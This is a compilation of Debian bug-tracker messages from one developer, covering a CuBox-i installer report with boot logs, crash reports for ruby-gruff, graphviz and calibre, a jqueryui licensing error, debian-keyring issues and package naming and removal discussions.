[2.872362] mmc1: host does not support reading read-only switch, assuming 
write-enable
[2.880622] mmc1: new high speed SDHC card at address 
[2.884074] mmcblk1: mmc1: SL16G 14.8 GiB
[2.884808] mmc0: new SDIO card at address 0001
[2.889061]  mmcblk1: p1 p2 p3 p4 < p5 >
[3.609029] EXT4-fs (mmcblk1p3): mounted filesystem with ordered data mode. 
Opts: (null)
[4.715715] EXT4-fs (mmcblk1p3): re-mounted. Opts: errors=remount-ro
[6.173094] brcmfmac mmc0:0001:1: firmware: direct-loading firmware 
brcm/brcmfmac4329-sdio.bin
[6.179691] brcmfmac mmc0:0001:1: firmware: direct-loading firmware 
brcm/brcmfmac4329-sdio.txt
[6.181794] Adding 2016252k swap on /dev/mmcblk1p5.  Priority:-1 extents:1 
across:2016252k SSFS
[7.313952] EXT4-fs (mmcblk1p2): mounting ext2 file system using the ext4 
subsystem
[7.322217] EXT4-fs (mmcblk1p2): mounted filesystem without journal. Opts: 
(null)

So... Well, mmcblk1 is mounted at mmc0 (don't know what mmc1 is), but
other than that, I see nothing too suspicious.

> The easiest solution would be to check for /dev/mmcblk instead of
> /dev/mmcblk0. If nobody has objections against this change, I'll modify
> partman-base accordingly and upload a new version (CCing the partman-base
> uploaders Max Vozeler, Anton Zinoviev, Colin Watson and Christian Perrier
> and Kibi as the d-i release manager).

I would say this makes sense. Even if I had multiple MMC units in my
system, installing on a MMC card should not clobber a preexisting
U-boot image; an option would be for d-i to install the matching right
flavor of the pre-boot environment for the current Debian release, but
of course, that would not enter in Stretch (if it was deemed desirable
at all)

> > As a very minor issue, even in the second case, after the install
> > notifies «Requesting system reboot», it just hangs. I disconnected and
> > reconnected power to get the system to boot — But it booted correctly
> > after that.
> 
> I have similar experiences with systems based on other ARM-SoCs,
> but I have not been able to pinpoint the cause. The hang happens
> only when rebooting from the d-i environment; rebooting the
> installed system with exactly the same kernel works without
> problems.

Yes, I have rebooted the machine several times over from other environments.

Bug#854822: installation-report: U-boot not correctly installed when partitioning with "Guided - use entire disk"

[Gunnar Wolf]

Please note that the provided "hardware-summary" was taken from the
second (successful) install. I mention this due to:

> (...)
> ==
> Installer hardware-summary:
> ==
> (...)
> df: Filesystem   1K-blocks  Used Available Use% Mounted on
> df: none20659276206516   0% /run
> df: devtmpfs   1017956 0   1017956   0% /dev
> df: /dev/sda1  4068576360716   3707860   9% /hd-media
> df: /dev/loop0  360712360712 0 100% /cdrom
> df: /dev/mmcblk1p312976824470844  11827068   4% /target
> df: /dev/mmcblk1p2  240972 25124203407  11% /target/boot
> df: /dev/mmcblk1p312976824470844  11827068   4% /dev/.static/dev
> df: devtmpfs   1017956 0   1017956   0% /target/dev
> df: /dev/loop0  360712360712 0 100% 
> /target/media/cdrom

This could cause a confusion otherwise.

Thanks,


signature.asc
Description: Digital signature

Bug#854822: installation-report: U-boot not correctly installed when partitioning with "Guided - use entire disk"

[Gunnar Wolf]

Package: installation-reports
Version: 2.62
Severity: important
Tags: d-i



-- Package-specific info:

Boot method: SD card
Image version: 
https://d-i.debian.org/daily-images/armhf/daily/hd-media/SD-card-images/firmware.MX6_Cubox-i.img.gz
 
https://d-i.debian.org/daily-images/armhf/daily/hd-media/SD-card-images/partition.img.gz
 and 
http://gemmei.acc.umu.se/cdimage/daily-builds/daily/arch-latest/armhf/iso-cd/debian-testing-armhf-netinst.iso
 downloaded 2017-02-08
Date: 

Machine: CuBox-i 4 Pro
Partitions: From the installation log:

  7: MMC/SD card #2 (mmcblk1) - 15.9 GB SD SL16G,
  8: > #1  primary  254.8 MB  B  f  ext2/boot  ,
  9: > #2  primary   13.6 GB f  ext4/  ,
 10: > #5  logical2.1 GB f  swapswap   ,
 11: SCSI2 (0,0,0) (sda) - 4.2 GB Generic Flash Disk,

Base System Installation Checklist:
[O] = OK, [E] = Error (please elaborate below), [ ] = didn't try it

Initial boot:   [O]
Detect network card:[O]
Configure network:  [O]
Detect CD:  [O]
Load installer modules: [O]
Clock/timezone setup:   [O]
User/password setup:[O]
Detect hard drives: [O]
Partition hard drives:  [O]
Install base system:[O]
Install tasks:  [O]
Install boot loader:[E]
Overall install:[E]

Comments/Problems:

I am installing the system on the same media that was used to boot the
installer from; this is supported according to the installation manual
sect. 5.1.5 (last paragraph).

If I ask the partitioner to use the «Guided - use entire disk» option,
the install process _seems_to_ be successful, but I end up with a
nonbooting system (U-boot seems to be clobbered, as it does not do
anything at powerup); selecting «Guided - use the largest continuous
free space» results in a correctly booting system.

I am attaching two log files, «cubox-clobbered-uboot.log» and
«cubox-boots-correctly.log».

As a very minor issue, even in the second case, after the install
notifies «Requesting system reboot», it just hangs. I disconnected and
reconnected power to get the system to boot — But it booted correctly
after that.

==
Installer lsb-release:
==
DISTRIB_ID=Debian
DISTRIB_DESCRIPTION="Debian GNU/Linux installer"
DISTRIB_RELEASE="9 (stretch) - installer build 20170208-00:09"
X_INSTALLATION_MEDIUM=hd-media

==
Installer hardware-summary:
==
uname -a: Linux debian 4.9.0-1-armmp #1 SMP Debian 4.9.6-3 (2017-01-28) armv7l 
GNU/Linux
usb-list: 
usb-list: Bus 01 Device 01: EHCI Host Controller [1d6b:0002]
usb-list:Level 00 Parent 00 Port 00  Class 09(hub  ) Subclass 00 Protocol 01
usb-list:Manufacturer: Linux 4.9.0-1-armmp ehci_hcd
usb-list:Interface 00: Class 09(hub  ) Subclass 00 Protocol 00 Driver hub
usb-list: 
usb-list: Bus 02 Device 01: EHCI Host Controller [1d6b:0002]
usb-list:Level 00 Parent 00 Port 00  Class 09(hub  ) Subclass 00 Protocol 01
usb-list:Manufacturer: Linux 4.9.0-1-armmp ehci_hcd
usb-list:Interface 00: Class 09(hub  ) Subclass 00 Protocol 00 Driver hub
usb-list: 
usb-list: Bus 02 Device 02: Mass Storage [058f:6387]
usb-list:Level 01 Parent 01 Port 00  Class 00(>ifc ) Subclass 00 Protocol 00
usb-list:Manufacturer: Generic
usb-list:Interface 00: Class 08(mstor) Subclass 06 Protocol 50 Driver 
usb-storage
lsmod: Module  Size  Used by
lsmod: dm_mod102858  0
lsmod: md_mod120554  0
lsmod: jfs   174436  0
lsmod: btrfs1143362  0
lsmod: xor 4718  1 btrfs
lsmod: zlib_deflate   20290  1 btrfs
lsmod: raid6_pq   87373  1 btrfs
lsmod: fuse   88991  0
lsmod: brcmfmac  239877  0
lsmod: brcmutil5789  1 brcmfmac
lsmod: cfg80211  475000  1 brcmfmac
lsmod: rfkill 16819  1 cfg80211
lsmod: nls_utf81318  1
lsmod: loop   17534  2
lsmod: isofs  32049  1
lsmod: ext4  549443  2
lsmod: crc16   1274  1 ext4
lsmod: jbd2   93854  1 ext4
lsmod: crc32c_generic  1862  3
lsmod: fscrypto   15747  1 ext4
lsmod: mbcache 5508  3 ext4
lsmod: nls_ascii   3386  1
lsmod: nls_cp437   4922  1
lsmod: vfat   10313  1
lsmod: fat57141  1 vfat
lsmod: sd_mod 32731  2
lsmod: uas12934  0
lsmod: usb_storage45771  2 uas
lsmod: imx_ipuv3_crtc 10746  0
lsmod: ahci_imx6207  0
lsmod: libahci_platform6494  1 ahci_imx
lsmod: ci_hdrc_imx 6936  0
lsmod: libahci23377  2 libahci_platform,ahci_imx
lsmod: ci_hdrc35216  1 ci_hdrc_imx
lsmod: libata192873  

Bug#851306: ITP: freebayes -- Bayesian haplotype-based polymorphism discovery and genotyping

[Gunnar Wolf]

Scott Kitterman dijo [Sun, Jan 15, 2017 at 04:34:40PM +]:
> >> "freebayes" seems like a very generic name for something specific to
> >such a 
> >> narrow field.  Maybe freebayes-genetic-variance or some such instead.
> >
> >I fully agree with your generic name consideration.  The software is
> >well known in this work field anyway so I'm hesitating a bit to rename
> >it.  Would you consider this a strong issue that needs to be discussed
> >with upstream or is it in a "not nice but acceptable" status?
> 
> I think it should be discussed with upstream, but we have broader
> namespace considerations that they may not understand or care about.
> 
> As long as a package search for freebayes returns this in the result
> set, I don't think it's critical to have the package name match
> exactly the upstream name.
> 
> Not wearing my FTP team hat for this, consider it as a comment from
> another DD.

As Scott is not "officially" speaking from the FTP team but just as a
DD, I'll chime in here.

I think the package name should indicate the field for which it is
meant (freebayes-genetic-variance), but I don't think the program name
should deviate from upstream; we have had issues such as when node.js
was introduced (that 'node' was a name already taken by another
program), but I don't think 'freebayes' will be such a contentious
program name.

Bug#841133: ruby-gruff: FTBFS: Tests hang after segmentation fault

[Gunnar Wolf]

Package: ruby-gruff
Version: 0.6.0-1
Followup-For: Bug #841133

This bug does not only happen at build time, it makes Gruff completely
unusable :-(

$ irb
>> require 'gruff'
=> true
>> g=Gruff::Bar.new '100x100'
/usr/lib/ruby/vendor_ruby/gruff/base.rb:968: [BUG] Segmentation fault at 
0x18
ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu]

-- Control frame information ---
c:0024 p: s:0095 e:94 CFUNC  :initialize
c:0023 p: s:0093 e:92 CFUNC  :new
c:0022 p:0034 s:0090 e:89 METHOD /usr/lib/ruby/vendor_ruby/gruff/base.rb:968
c:0021 p:0103 s:0087 e:86 METHOD /usr/lib/ruby/vendor_ruby/gruff/base.rb:230
c:0020 p:0012 s:0081 e:80 METHOD /usr/lib/ruby/vendor_ruby/gruff/bar.rb:10 
[FINISH]
c:0019 p: s:0077 e:76 CFUNC  :new
c:0018 p:0016 s:0073 E:0023a8 EVAL   (irb):2 [FINISH]
c:0017 p: s:0070 e:69 CFUNC  :eval
c:0016 p:0025 s:0063 e:62 METHOD /usr/lib/ruby/2.3.0/irb/workspace.rb:87
c:0015 p:0027 s:0056 e:54 METHOD /usr/lib/ruby/2.3.0/irb/context.rb:380
c:0014 p:0024 s:0050 e:49 BLOCK  /usr/lib/ruby/2.3.0/irb.rb:489
c:0013 p:0041 s:0042 e:41 METHOD /usr/lib/ruby/2.3.0/irb.rb:623
c:0012 p:0011 s:0037 e:36 BLOCK  /usr/lib/ruby/2.3.0/irb.rb:486
c:0011 p:0128 s:0033 e:32 BLOCK  /usr/lib/ruby/2.3.0/irb/ruby-lex.rb:246 
[FINISH]
c:0010 p: s:0030 e:29 CFUNC  :loop
c:0009 p:0009 s:0027 e:26 BLOCK  /usr/lib/ruby/2.3.0/irb/ruby-lex.rb:232 
[FINISH]
c:0008 p: s:0025 e:24 CFUNC  :catch
c:0007 p:0018 s:0021 e:20 METHOD /usr/lib/ruby/2.3.0/irb/ruby-lex.rb:231
c:0006 p:0037 s:0018 E:001700 METHOD /usr/lib/ruby/2.3.0/irb.rb:485
c:0005 p:0009 s:0015 e:14 BLOCK  /usr/lib/ruby/2.3.0/irb.rb:395 [FINISH]
c:0004 p: s:0013 e:12 CFUNC  :catch
c:0003 p:0174 s:0009 E:001820 METHOD /usr/lib/ruby/2.3.0/irb.rb:394
c:0002 p:0023 s:0004 E:0020a0 EVAL   /usr/bin/irb:11 [FINISH]
c:0001 p: s:0002 E:000a30 (none) [FINISH]

-- Ruby level backtrace information 
/usr/bin/irb:11:in `'
/usr/lib/ruby/2.3.0/irb.rb:394:in `start'
/usr/lib/ruby/2.3.0/irb.rb:394:in `catch'
/usr/lib/ruby/2.3.0/irb.rb:395:in `block in start'
/usr/lib/ruby/2.3.0/irb.rb:485:in `eval_input'
/usr/lib/ruby/2.3.0/irb/ruby-lex.rb:231:in `each_top_level_statement'
/usr/lib/ruby/2.3.0/irb/ruby-lex.rb:231:in `catch'
/usr/lib/ruby/2.3.0/irb/ruby-lex.rb:232:in `block in each_top_level_statement'
/usr/lib/ruby/2.3.0/irb/ruby-lex.rb:232:in `loop'
/usr/lib/ruby/2.3.0/irb/ruby-lex.rb:246:in `block (2 levels) in 
each_top_level_statement'
/usr/lib/ruby/2.3.0/irb.rb:486:in `block in eval_input'
/usr/lib/ruby/2.3.0/irb.rb:623:in `signal_status'
/usr/lib/ruby/2.3.0/irb.rb:489:in `block (2 levels) in eval_input'
/usr/lib/ruby/2.3.0/irb/context.rb:380:in `evaluate'
/usr/lib/ruby/2.3.0/irb/workspace.rb:87:in `evaluate'
/usr/lib/ruby/2.3.0/irb/workspace.rb:87:in `eval'
(irb):2:in `irb_binding'
(irb):2:in `new'
/usr/lib/ruby/vendor_ruby/gruff/bar.rb:10:in `initialize'
/usr/lib/ruby/vendor_ruby/gruff/base.rb:230:in `initialize'
/usr/lib/ruby/vendor_ruby/gruff/base.rb:968:in `reset_themes'
/usr/lib/ruby/vendor_ruby/gruff/base.rb:968:in `new'
/usr/lib/ruby/vendor_ruby/gruff/base.rb:968:in `initialize'

-- Machine register context 
 RIP: 0x7ff7c96f2249 RBP: 0x RSP: 0x7ffe1f029a10
 RAX: 0x RBX: 0x0181d210 RCX: 0x0181d240
 RDX: 0x RDI: 0x7ff7c9a13b00 RSI: 0x
  R8: 0x0181caa0  R9: 0x41a0 R10: 0x
 R11: 0x R12: 0x7ff7c9a13b58 R13: 0x7ff7c9a13b08
 R14: 0x0181d210 R15: 0x7ff7c9a13b00 EFL: 0x00010246

-- C level backtrace information ---



-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.7.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages ruby-gruff depends on:
ii  ghostscript 9.19~dfsg-3
ii  gsfonts 1:8.11+urwcyr1.0.7~pre44-4.3
ii  ruby1:2.3.0+4
ii  ruby-rmagick2.15.4+dfsg-2
ii  ruby2.1 [ruby-interpreter]  2.1.5-4
ii  ruby2.2 [ruby-interpreter]  2.2.4-1

ruby-gruff recommends no packages.

ruby-gruff suggests no packages.

-- no debconf information

Bug#846063: RM: collabtive -- RoQA; orphaned; RC-buggy

[Gunnar Wolf]

Ondřej Surý dijo [Mon, Nov 28, 2016 at 10:16:04AM +0100]:
> Dear ftp-masters,
> 
> the collabtive package has been orphaned, it is RC-buggy and it is
> blocking src:php5 removal from unstable.
> 
> While collabtive 3.0 has support for PHP 7.0, nobody has stepped up
> and updated the package to latest upstream version.  I have tried
> myself, but the Debian package carry to many patches for me to update
> it to the new upstream version without breaking anything, so the best
> course of action would be to remove the package from unstable.

As the former maintainer of Collabtive, I agree with Ondřej's
assessment. If Collabtive has not been taken up by somebody else, it
should be dropped from the distribution.

Thanks,


signature.asc
Description: Digital signature

Bug#841441: graphviz: Dies dumping memory map when specifying nodesep or minlen

[Gunnar Wolf]

Package: graphviz
Version: 2.38.0-15+b1
Severity: normal

While working with a reasonably simple graph, Graphviz dies if I
specify an «edge[minlen=3]» or higher, or if instead of it I specify a
«nodesep=6» or higher. I'm attaching the graph in question; with
minlen ≤ 2 it works correctly. The nodesep is currently commented; it
crashes both if I comment the edge[minlen=2] or if I specify both.

I am also attaching the message outputted to STDERR; it sounds like a
use-after-free bug.

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.6.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages graphviz depends on:
ii  libc6 2.24-3
ii  libcdt5   2.38.0-15+b1
ii  libcgraph62.38.0-15+b1
ii  libexpat1 2.2.0-1
ii  libgd32.2.3-3+b1
ii  libglib2.0-0  2.50.0-2
ii  libgts-0.7-5  0.7.6+darcs121130-1.2
ii  libgvc6   2.38.0-15+b1
ii  libgvpr2  2.38.0-15+b1
ii  libx11-6  2:1.6.3-1
ii  libxaw7   2:1.0.13-1
ii  libxmu6   2:1.1.2-2
ii  libxt61:1.1.5-1

Versions of packages graphviz recommends:
ii  fonts-liberation  1:1.07.4-2

Versions of packages graphviz suggests:
pn  graphviz-doc  
ii  gsfonts   1:8.11+urwcyr1.0.7~pre44-4.3

-- no debconf information
digraph G {
label="Transitions between tags 0 and 999";
edge[minlen=3];
# nodesep=2;
{rank=same debian_keyring, debian_maintainers, debian_nonupload};
{rank=same emeritus_keyring, removed_keys, removed_1024};
 NEW -> debian_keyring [label="799"];
 NEW -> debian_maintainers [label="531"];
 NEW -> debian_nonupload [label="21"];
 NEW -> emeritus_keyring [label="1"];
 NEW -> removed_1024 [label="2"];
 NEW -> removed_keys [label="18"];
 debian_keyring -> debian_maintainers [label="1"];
 debian_keyring -> debian_nonupload [label="4"];
 debian_keyring -> emeritus_keyring [label="157"];
 debian_keyring -> removed_1024 [label="252"];
 debian_keyring -> removed_keys [label="918"];
 debian_maintainers -> debian_keyring [label="186"];
 debian_maintainers -> removed_keys [label="65"];
 debian_nonupload -> debian_keyring [label="1"];
 debian_nonupload -> removed_keys [label="4"];
 emeritus_keyring -> debian_keyring [label="7"];
 emeritus_keyring -> debian_nonupload [label="1"];
 emeritus_keyring -> removed_keys [label="12"];
 removed_1024 -> debian_keyring [label="2"];
 removed_1024 -> emeritus_keyring [label="7"];
 removed_1024 -> removed_keys [label="54"];
 removed_keys -> debian_keyring [label="10"];
 removed_keys -> emeritus_keyring [label="1"];
}
Warning: Unable to reclaim box space in spline routing for edge 
"debian_keyring" -> "debian_maintainers". Something is probably seriously wrong.
Warning: Unable to reclaim box space in spline routing for edge 
"debian_maintainers" -> "debian_keyring". Something is probably seriously wrong.
*** Error in `dot': free(): invalid next size (fast): 0x0113a120 ***
=== Backtrace: =
/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7fe8346fabcb]
/lib/x86_64-linux-gnu/libc.so.6(+0x76fa6)[0x7fe834700fa6]
/lib/x86_64-linux-gnu/libc.so.6(+0x7779e)[0x7fe83470179e]
/usr/lib/libgvc.so.6(+0x4608d)[0x7fe834c8408d]
/usr/lib/graphviz/libgvplugin_dot_layout.so.6(+0x1d057)[0x7fe82f355057]
/usr/lib/graphviz/libgvplugin_dot_layout.so.6(+0x1a7a4)[0x7fe82f3527a4]
/usr/lib/graphviz/libgvplugin_dot_layout.so.6(+0xbe5d)[0x7fe82f343e5d]
/usr/lib/graphviz/libgvplugin_dot_layout.so.6(dot_layout+0x338)[0x7fe82f3444c8]
/usr/lib/libgvc.so.6(gvLayoutJobs+0xd2)[0x7fe834c60d12]
dot[0x400ee5]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7fe8346aa2b1]
dot[0x400f7a]
=== Memory map: 
0040-00402000 r-xp  00:13 3150007
/usr/bin/dot
00601000-00602000 r--p 1000 00:13 3150007
/usr/bin/dot
00602000-00603000 rw-p 2000 00:13 3150007
/usr/bin/dot
010b9000-011a5000 rw-p  00:00 0  [heap]
7fe82800-7fe828021000 rw-p  00:00 0 
7fe828021000-7fe82c00 ---p  00:00 0 
7fe82f121000-7fe82f137000 r-xp  00:13 1694862
/lib/x86_64-linux-gnu/libgcc_s.so.1
7fe82f137000-7fe82f336000 ---p 00016000 00:13 1694862
/lib/x86_64-linux-gnu/libgcc_s.so.1
7fe82f336000-7fe82f337000 r--p 00015000 00:13 1694862
/lib/x86_64-linux-gnu/libgcc_s.so.1
7fe82f337000-7fe82f338000 rw-p 00016000 00:13 1694862
/lib/x86_64-linux-gnu/libgcc_s.so.1
7fe82f338000-7fe82f35c000 r-xp  00:13 3149967
/usr/lib/graphviz/libgvplugin_dot_layout.so.6.0.0
7fe82f35c000-7fe82f55b000 ---p 00024000 00:13 3149967

Bug#834974: Installation Report: Stretch Alpha 7 on Cubox-i4pro

[Gunnar Wolf]

tags 834974 + confirmed
thanks

Martin Michlmayr dijo [Mon, Aug 29, 2016 at 07:49:48PM -0700]:
> The log suggests that flash-kernel was installed successfully, i.e.
> that a u-boot boot script was generated correctly.
> 
> I don't know anything about this device so unfortunately I cannot help
> you.  Maybe Vagrant Cascadian knows something?

I own a Cubox-i4pro as well, and can assert I Rainer's experience is
reproducible: The installer finishes doing its work and reports having
installed the boot loader, but after it attempts to reboot, nothing
happens (the computer just hangs idly).

My Cubox-i was originally installed via a chroot and manual boot
fiddling, as I reported on my blog back in the day¹. In order to check
whether this was a regression, I tried installing Jessie, and also
ended up with a seemingly successful install that didn't boot.

¹ http://gwolf.org/content/cubox-i4pro

I might have botched something while preparing my Jessie install:
Having all the files at the same directory, it is possible I booted it
with the Stretch kernel — and I fear that because my syslog starts
with:

Jan  1 00:00:03 syslogd started: BusyBox v1.22.1
Jan  1 00:00:03 kernel: klogd started: BusyBox v1.22.1 (Debian 1:1.22.0-19)
Jan  1 00:00:03 kernel: [0.00] Booting Linux on physical CPU 0x0
Jan  1 00:00:03 kernel: [0.00] Linux version 4.6.0-1-armmp 
(debian-ker...@lists.debian.org) (gcc version 5.4.0 20160609 (Debian 5.4.0-4) ) 
#1 SMP Debian 4.6.2-2 (2016-06-25)

and of course, the installer started by telling me of a kernel version
conflict :) I cannot dig deeper into this today, but I'll come back to
this topic on Monday. Can somebody confirm whether the Jessie
installer actually works reliably on this machine? (that is, whether
it's always been broken or we have a regression)

Bug#835125: jqueryui: Wrong licensing information: Licensed under MIT, *not* GPL-2

[Gunnar Wolf]

Source: jqueryui
Version: 1.10.1+dfsg
Severity: serious
Justification: Policy 2.3

The package's debian/copyright mentions all of the contents as being
licensed udner "GPL-2 or MIT", but they are exclusively licensed under
the MIT:

$ grep -ri 'gnu' . --exclude-dir=debian
Binary file ./development-bundle/demos/position/images/rocket.jpg matches
./development-bundle/demos/autocomplete/search.php:"Mute Swan"=>"Cygnus 
olor",
./development-bundle/demos/autocomplete/search.php:"Bewick`s Swan"=>"Cygnus 
bewickii",
./development-bundle/demos/autocomplete/search.php:"Whooper Swan"=>"Cygnus 
cygnus",
./development-bundle/demos/autocomplete/search.php:"Whistling 
Swan"=>"Cygnus columbianus",
$ grep -ri gpl . --exclude-dir=debian
./development-bundle/AUTHORS.txt:Garrison Locke 
$ grep -ri 'public license' . --exclude-dir=debian
$

Please fix this information. Thanks!

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.6.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#833999: debian-keyring: Typo in keyids

[Gunnar Wolf]

tags 833999 + pending
thanks

Jochen Sprickerhof dijo [Thu, Aug 11, 2016 at 11:55:44AM +0200]:
> sed -is 's/0x17FBDCBFD9928FF4 Jochen Sprickerhof <6350>/0x17FBDCBFD9928FF4 
> Jochen Sprickerhof /' keyids

Thanks, Jochen!

This is fixed in our working tree, will be included in the next
keyring push.


signature.asc
Description: Digital signature

Bug#833306: debian-keyring: duplicated key 0xAFA51BD6CDE573CB

[Gunnar Wolf]

Alessandro Ghedini dijo [Thu, Aug 04, 2016 at 08:19:14PM +0100]:
> On Tue, Aug 02, 2016 at 06:52:39PM +0100, Alessandro Ghedini wrote:
> > and when building the keyrings from the git repository it appears four 
> > times:
> 
> Actually, the two additional keys are there due to the fact that I had the
> system debian-keyring.gpg enabled in gpg.conf. This is the correct output:
> (...)

OK, that solves a *little* bit of the mystery. However, I still have
no clue as to why it appears twice. And FWIW, this happens even
specifying the --no-default-keyring with my own key: It appears only
once in the 2016.07.02 version (from the installed package), but
twice in our working tree:

$ gpg2 --no-default-keyring --keyring /usr/share/keyrings/debian-keyring.gpg 
--list-keys gw...@debian.org
pub   rsa4096/0x673A03E4C1DB921F 2009-07-09 [SC] [expires: 2017-07-18]
  Key fingerprint = AB41 C1C6 8AFD 668C A045  EBF8 673A 03E4 C1DB 921F
  uid   [ultimate] Gunnar Eyal Wolf Iszaevich 

  uid   [ultimate] Gunnar Eyal Wolf Iszaevich 

  uid   [ultimate] Gunnar Eyal Wolf Iszaevich (Instituto de 
Investigaciones Económicas UNAM) 
  sub   rsa4096/0x92853D8CF7F6543F 2009-07-09 [E]

0 gwolf@mosca『11』~$ gpg2 --no-default-keyring --keyring 
/home/gwolf/vcs/debian-keyring/output/keyrings/debian-keyring.gpg --list-keys 
gw...@debian.org
pub   rsa4096/0x673A03E4C1DB921F 2009-07-09 [SC] [expires: 2017-07-18]
  Key fingerprint = AB41 C1C6 8AFD 668C A045  EBF8 673A 03E4 C1DB 921F
  uid   [ultimate] Gunnar Eyal Wolf Iszaevich 

  uid   [ultimate] Gunnar Eyal Wolf Iszaevich 

  uid   [ultimate] Gunnar Eyal Wolf Iszaevich (Instituto de 
Investigaciones Económicas UNAM) 
  sub   rsa4096/0x92853D8CF7F6543F 2009-07-09 [E]

pub   rsa4096/0x673A03E4C1DB921F 2009-07-09 [SC] [expires: 2016-08-25]
  Key fingerprint = AB41 C1C6 8AFD 668C A045  EBF8 673A 03E4 C1DB 921F
  uid   [ultimate] Gunnar Eyal Wolf Iszaevich 

  uid   [ultimate] Gunnar Eyal Wolf Iszaevich 

  uid   [ultimate] Gunnar Eyal Wolf Iszaevich (Instituto de 
Investigaciones Económicas UNAM) 
  sub   rsa4096/0x92853D8CF7F6543F 2009-07-09 [E]

And I get the same behaviour with GPG 1. Now, trying to understand
some bits... I am surprised at the size difference:

$ ls -lh /usr/share/keyrings/debian-keyring.gpg 
/home/gwolf/vcs/debian-keyring/output/keyrings/debian-keyring.gpg
-rw-r--r-- 1 gwolf gwolf 36M Jul  8 07:38 
/home/gwolf/vcs/debian-keyring/output/keyrings/debian-keyring.gpg
-rw-r--r-- 1 root  root  27M Jul  3 03:52 /usr/share/keyrings/debian-keyring.gpg

They should be roughly the same size! Maybe I didn't do some cleanup
when preparing the 2016.07.08 update (for which we did a tree push but
not a package upload)?


signature.asc
Description: Digital signature

Bug#828027: drupal7: Should depend on php-xml

[Gunnar Wolf]

Jeremy Bicha dijo [Thu, Jun 23, 2016 at 10:41:28PM -0400]:
> Package: drupal7
> Version: 7.44-1
> Severity: important
> 
> Originally reported at https://launchpad.net/bugs/1595788 (there's a
> screenshot there too).

Thank you very much, and excuse me for the time it took to fix this —
DebConf robbed me of time for Debian ;-)

I've patched my tree and in some minutes will be building and
uploading it.


signature.asc
Description: Digital signature

Bug#826270: gnupg: Defaults to using insecure short key IDs (32 bits)

[Gunnar Wolf]

Heinrich Schuchardt dijo [Mon, Jul 25, 2016 at 08:52:49PM +0200]:
> Dear maintainer,
> 
> the problem is solved in the git head of gnupg.
> 
> Please, upgrade the package in stretch to a current version.
> 
> Experimental has package gnupg (2.1.14-1).
> Sid and Strech have gnupg (1.4.20-6).

Great news. Thanks! :-D

Bug#831365: ITP: lepton -- tool to compress JPEGs losslessly

[Gunnar Wolf]

ChangZhuo Chen dijo [Fri, Jul 15, 2016 at 09:20:06AM +0800]:
> Package: wnpp
> Severity: wishlist
> Owner: "ChangZhuo Chen (陳昌倬)" 
> 
> * Package name: lepton
>   Version : 1.0
>   Upstream Author : Copyright (c) 2016 Dropbox, Inc.
> * URL : https://github.com/dropbox/lepton
> * License : Apache-2
>   Programming Lang: C
>   Description : tool to compress JPEGs losslessly
> 
>  Lepton is a tool and file format for losslessly compressing JPEGs by an
>  average of 22%.
>  .
>  This can be used to archive large photo collections, or to serve images
>  live and save 22% bandwidth.

Umh, I read about this program, but this description (even if it
matches the upstream one) is quite odd.

JPEG is an inherently lossy format; even at top quality, the input
image will not be identical to the output one (just "good enough" for
our eyes). If Lepton can losslessly compress *any* images (or any
photographic images, or whatever kind of transforms it does best), it
should not mention as its description "to compress JPEGs losslessly",
but "to compress this-kind-of-images losslessly". If it is "just" a
tool that further compresses JPEGs, yielding back the original JPEG
bit by bit, what is the advantage of its losslessness? I mean: It is a
tool to make an absolutely faithful compression out of a somewhat
faithful compression scheme.

Please make the use case clearer!


signature.asc
Description: Digital signature

Bug#826971: calibre: Exceptions at startup; dies if launched from a terminal which is then closed

[Gunnar Wolf]

Package: calibre
Version: 2.55.0+dfsg-1
Severity: normal

When Calibre first starts, it throws two exceptions, but continues
loading and works correctly. They appear practically as the same time
as the Calibre splash screen. The exceptions are:

Traceback (most recent call last):
  File "/usr/lib/calibre/calibre/gui2/ui.py", line 152, in __init__
ac = self.init_iaction(action)
  File "/usr/lib/calibre/calibre/gui2/ui.py", line 166, in init_iaction
ac = action.load_actual_plugin(self)
  File "/usr/lib/calibre/calibre/customize/__init__.py", line 603, in 
load_actual_plugin
ac = getattr(importlib.import_module(mod), cls)(gui,
  File "/usr/lib/python2.7/importlib/__init__.py", line 37, in import_module
__import__(name)
  File "/usr/lib/calibre/calibre/customize/zipplugin.py", line 179, in 
load_module
exec compiled in mod.__dict__
  File "calibre_plugins.kindle_collections.ui", line 11, in 
  File "/usr/lib/calibre/calibre/startup.py", line 36, in load_module
raise ImportError('Importing PyQt4 is not allowed as calibre uses PyQt5')
ImportError: Importing PyQt4 is not allowed as calibre uses PyQt5
Traceback (most recent call last):
  File "/usr/lib/calibre/calibre/gui2/ui.py", line 152, in __init__
ac = self.init_iaction(action)
  File "/usr/lib/calibre/calibre/gui2/ui.py", line 166, in init_iaction
ac = action.load_actual_plugin(self)
  File "/usr/lib/calibre/calibre/customize/__init__.py", line 603, in 
load_actual_plugin
ac = getattr(importlib.import_module(mod), cls)(gui,
  File "/usr/lib/python2.7/importlib/__init__.py", line 37, in import_module
__import__(name)
  File "/usr/lib/calibre/calibre/customize/zipplugin.py", line 179, in 
load_module
exec compiled in mod.__dict__
  File "calibre_plugins.find_duplicates.action", line 11, in 
  File "/usr/lib/calibre/calibre/startup.py", line 36, in load_module
raise ImportError('Importing PyQt4 is not allowed as calibre uses PyQt5')
ImportError: Importing PyQt4 is not allowed as calibre uses PyQt5
Failed to create system tray icon, your desktop environment probably does not 
support the StatusNotifier spec
